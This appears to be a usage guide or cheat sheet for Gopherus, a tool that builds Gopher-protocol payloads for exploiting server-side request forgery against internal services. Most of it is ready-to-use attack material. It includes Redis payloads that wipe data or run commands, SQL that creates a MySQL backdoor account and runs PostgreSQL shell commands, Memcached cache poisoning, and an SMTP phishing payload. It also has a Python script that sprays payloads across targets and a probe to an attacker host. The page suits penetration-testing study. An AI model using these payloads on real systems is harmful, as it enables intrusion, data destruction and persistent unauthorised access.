Gopherus
Gopherus is an interactive SSRF payload generator that simplifies creation of Gopher protocol payloads for exploiting Server-Side Request Forgery vulnerabilities. It automates complex protocol formatting for common backend services.
Installation
# Clone repository
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
# Install Python requirements
pip3 install -r requirements.txt
# Make executable
chmod +x gopherus.py
# Run interactive menu
python3 gopherus.py
Interactive Menu
python3 gopherus.py
Menu options:
- Redis
- MySQL
- PostgreSQL
- Memcached
- MongoDB
- SMTP
- SSH
Follow interactive prompts for parameters, tool generates gopher:// URL payload.
Redis Exploitation
Basic FLUSHDB Command
# Interactive mode
python3 gopherus.py
# Select: 1 (Redis)
# Command: FLUSHDB
# Output example:
# gopher://127.0.0.1:6379/_FLUSHDB%0a
# Use in SSRF
curl "http://vulnerable.com/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a"
SET Command (Write Data)
python3 gopherus.py
# Select: 1 (Redis)
# Command: SET key value
# Example: SET admin true
# Payload variation:
gopher://target:6379/_SET%20admin%20true%0a
# Manual encoding:
gopher://target:6379/_*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0aadmin%0d%0a$4%0d%0atrue%0d%0a
GET Command (Read Data)
python3 gopherus.py
# Select: 1 (Redis)
# Command: GET key
# Example: GET secret_token
# Payload:
gopher://target:6379/_GET%20secret_token%0a
# Redis protocol:
gopher://target:6379/_*2%0d%0a$3%0d%0aget%0d%0a$12%0d%0asecret_token%0d%0a
LLEN (Get List Length)
python3 gopherus.py
# Select: 1 (Redis)
# Command: LLEN keyname
# Returns length of list at key
gopher://target:6379/_LLEN%20userlist%0a
LPUSH (Write to List)
python3 gopherus.py
# Select: 1 (Redis)
# Command: LPUSH listname value
# Payload:
gopher://target:6379/_LPUSH%20queue%20payload%0a
EVAL (Lua Script Execution)
python3 gopherus.py
# Select: 1 (Redis)
# Script: redis.call('system','command')
# Complex payload for RCE:
gopher://target:6379/_eval%20%22redis.call%28%27system%27%2C%27id%27%29%22%200%0a
MySQL Exploitation
Authentication and Enumeration
python3 gopherus.py
# Select: 2 (MySQL)
# Username: root
# Password: (leave empty for default)
# Query: SELECT version();
# Output payload for internal MySQL:
gopher://127.0.0.1:3306/[encoded-mysql-protocol]
# Test connection
curl "http://vulnerable.com/?url=gopher%3A%2F%2F127.0.0.1%3A3306%2F..."
Common MySQL Queries via SSRF
# Show databases
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
# Show tables
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='target_db';
# Extract data
SELECT user,password FROM mysql.user;
# Create backdoor user
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'password123';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';
Gopherus MySQL Workflow
# 1. Generate auth payload
python3 gopherus.py
# Select 2 (MySQL)
# Answer interactive prompts
# 2. Encode output for SSRF parameter
# Payload returned in URL-encoded format
# 3. Inject via SSRF endpoint
curl "http://target.com/?url=[encoded-payload]"
# 4. Check response for:
# - MySQL error messages (version info)
# - Query results
# - Connection confirmation
PostgreSQL Exploitation
Database Enumeration
python3 gopherus.py
# Select: 3 (PostgreSQL)
# Database: postgres
# Username: postgres
# Password: (leave empty)
# Query: SELECT version();
# Typical payload:
gopher://internal-postgres:5432/_[encoded-protocol]
PostgreSQL Command Execution
# Execute system commands via COPY
COPY (SELECT '') TO PROGRAM 'whoami';
# Write files
COPY (SELECT 'content') TO '/tmp/file.txt';
# List files
SELECT pg_ls_dir('./');
# Create function for RCE
CREATE FUNCTION cmd_exec(text) RETURNS text AS '...';
SELECT cmd_exec('command');
Gopherus PostgreSQL Setup
python3 gopherus.py
# Select 3 (PostgreSQL)
# Follow prompts for credentials and SQL query
# Payload generates gopher URL
# Use in SSRF like:
curl "http://vulnerable-app.com/?redirect=gopher%3A%2F%2F10.0.0.5%3A5432%2F..."
Memcached Exploitation
SET and GET Commands
python3 gopherus.py
# Select: 4 (Memcached)
# Key: admin_session
# Value: authenticated_user_123
# Expiration: 0 (never expire)
# Payload format:
gopher://127.0.0.1:11211/_set%20admin_session%200%200%2018%0aadmin_user_001%0a
# GET command:
gopher://127.0.0.1:11211/_get%20admin_session%0a
Cache Poisoning via SSRF
# Set malicious cached value
gopher://internal-memcached:11211/_set%20csrf_token%200%200%2040%0amalicious_token_value_here%0a
# DELETE key
gopher://internal-memcached:11211/_delete%20session_token%0a
# FLUSH (clear all)
gopher://internal-memcached:11211/_flush_all%0a
MongoDB Exploitation
Interactive Mode
python3 gopherus.py
# Select: 5 (MongoDB)
# Database: admin
# Collection: users
# Query: db.users.find({})
# Returns MongoDB wire protocol payload
MongoDB Operations via SSRF
# Find all users
db.users.find({})
# Insert admin user
db.users.insert({username: 'admin', password: 'hash', role: 'admin'})
# Update user role
db.users.updateOne({username: 'user'}, {$set: {role: 'admin'}})
# Execute JavaScript
db.eval('function f(){return 1;}')
SMTP Exploitation
Send Email via SSRF
python3 gopherus.py
# Select: 6 (SMTP)
# Sender: attacker@internal.com
# Recipient: admin@company.com
# Subject: Test
# Message: Malicious content
# SMTP payload includes:
# - HELO command
# - MAIL FROM
# - RCPT TO
# - DATA with message
# - QUIT
Manual SMTP Gopher Payload
# SMTP commands via gopher
gopher://mail.internal:25/_HELO%20attacker.com%0aMAIL%20FROM%3A%20attacker%40internal.com%0aRCPT%20TO%3A%20admin%40company.com%0aDATA%0aSubject%3A%20Phishing%0a%0aClick%20link%0a.%0aQUIT%0a
# Broken down:
# HELO attacker.com
# MAIL FROM: attacker@internal.com
# RCPT TO: admin@company.com
# DATA
# Subject: Phishing
#
# Click link
# .
# QUIT
SMTP Auth Bypass
# SMTP without authentication
# Typical port: 25 (unauthenticated)
# If port 587/465 required:
# Generate payload with credentials via gopherus
python3 gopherus.py
# Select 6 (SMTP)
# Include AUTH settings
Payload Encoding and Injection
URL Encoding for SSRF Parameters
# Raw gopher payload:
gopher://127.0.0.1:6379/_FLUSHDB%0a
# URL encode for web parameter:
# gopher:// -> gopher%3A%2F%2F
# : -> %3A
# / -> %2F
# Space -> %20 or +
# Newline \n -> %0a
# Carriage return \r -> %0d
# Full encoded:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a
# Usage in SSRF:
http://vulnerable.com/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a
curl -G "http://target.com/fetch" \
--data-urlencode "url=gopher://127.0.0.1:6379/_FLUSHDB"
SSRF Parameter Variations
# Common parameter names for SSRF:
?url=
?uri=
?endpoint=
?target=
?fetch=
?redirect=
?proxy=
?resource=
?file=
# Test all parameters:
for param in url uri endpoint target fetch redirect proxy resource file; do
curl "http://target.com/?$param=gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a"
done
Python Integration
Automated Payload Generation
import urllib.parse
import subprocess
def generate_gopherus_payload(service, **kwargs):
"""Generate gopherus payload via subprocess"""
# Map service to gopherus menu option
service_map = {
'redis': '1',
'mysql': '2',
'postgres': '3',
'memcached': '4',
'mongodb': '5',
'smtp': '6',
'ssh': '7'
}
menu_choice = service_map.get(service)
# Build interactive input
input_text = f"{menu_choice}\n"
for value in kwargs.values():
input_text += f"{value}\n"
# Execute gopherus
process = subprocess.Popen(
['python3', 'gopherus.py'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = process.communicate(input=input_text)
# Extract gopher URL from output
for line in stdout.split('\n'):
if line.startswith('gopher://'):
return line.strip()
return None
# Usage
redis_payload = generate_gopherus_payload('redis', command='FLUSHDB')
print(f"Payload: {redis_payload}")
# URL encode for SSRF
encoded = urllib.parse.quote(redis_payload, safe='')
ssrf_url = f"http://vulnerable.com/?url={encoded}"
print(f"SSRF URL: {ssrf_url}")
Batch Exploitation
import requests
import urllib.parse
# Target vulnerable endpoints
targets = [
'http://app1.internal/fetch?url=',
'http://app2.internal/proxy?target=',
'http://app3.internal/curl?endpoint='
]
# Payloads to test
payloads = [
'gopher://redis:6379/_FLUSHDB%0a',
'gopher://mysql:3306/_...',
'gopher://postgres:5432/_...'
]
for target in targets:
for payload in payloads:
encoded = urllib.parse.quote(payload, safe='')
url = target + encoded
try:
response = requests.get(url, timeout=5)
print(f"[+] {target[:30]}... - Status: {response.status_code}")
# Check for service-specific responses
if 'PONG' in response.text or 'QUEUED' in response.text:
print(f"[!] Vulnerable! Service responded: {response.text[:50]}")
except Exception as e:
print(f"[-] {target[:30]}... - Error: {str(e)[:30]}")
Real-World SSRF Detection
Finding SSRF Endpoints
# Look for URL/fetch parameters in web apps
burp_sitemap | grep -E "(url|fetch|endpoint|proxy|redirect|resource)"
# Common vulnerable endpoints:
# /fetch?url=
# /api/proxy?target=
# /image?source=
# /download?file=
# /render?url=
# /webhook?callback=
# /share?link=
# Test with internal IP ranges:
gopher://127.0.0.1:6379/_PING%0a
gopher://10.0.0.1:3306/_...
gopher://172.16.0.1:5432/_...
gopher://192.168.1.1:25/_HELO%0a
Reconnaissance Checklist
# 1. Identify SSRF parameter
curl "http://target.com/?url=http://attacker.com"
# 2. Check for Gopher protocol support
curl "http://target.com/?url=gopher://127.0.0.1:80"
# 3. Discover internal services
# Test common ports: 6379(Redis), 3306(MySQL), 5432(PG), 11211(Memcached)
# 4. Generate service-specific payload
python3 gopherus.py
# 5. Inject and verify
curl "http://target.com/?url=[encoded-gopher-payload]"
# 6. Check response for:
# - Service errors/banners
# - Successful command execution
# - Data exfiltration indicators
Best Practices
- Always run in controlled lab environment first
- Verify SSRF exists before Gopher exploitation
- Use multiple services to confirm impact
- Check for input validation and firewall rules
- Monitor for SOC alerts during testing
- Clean up any data modifications after testing
- Document all discovered services and credentials
- Use blind SSRF techniques for out-of-band data retrieval
References
Last updated: 2026-03-30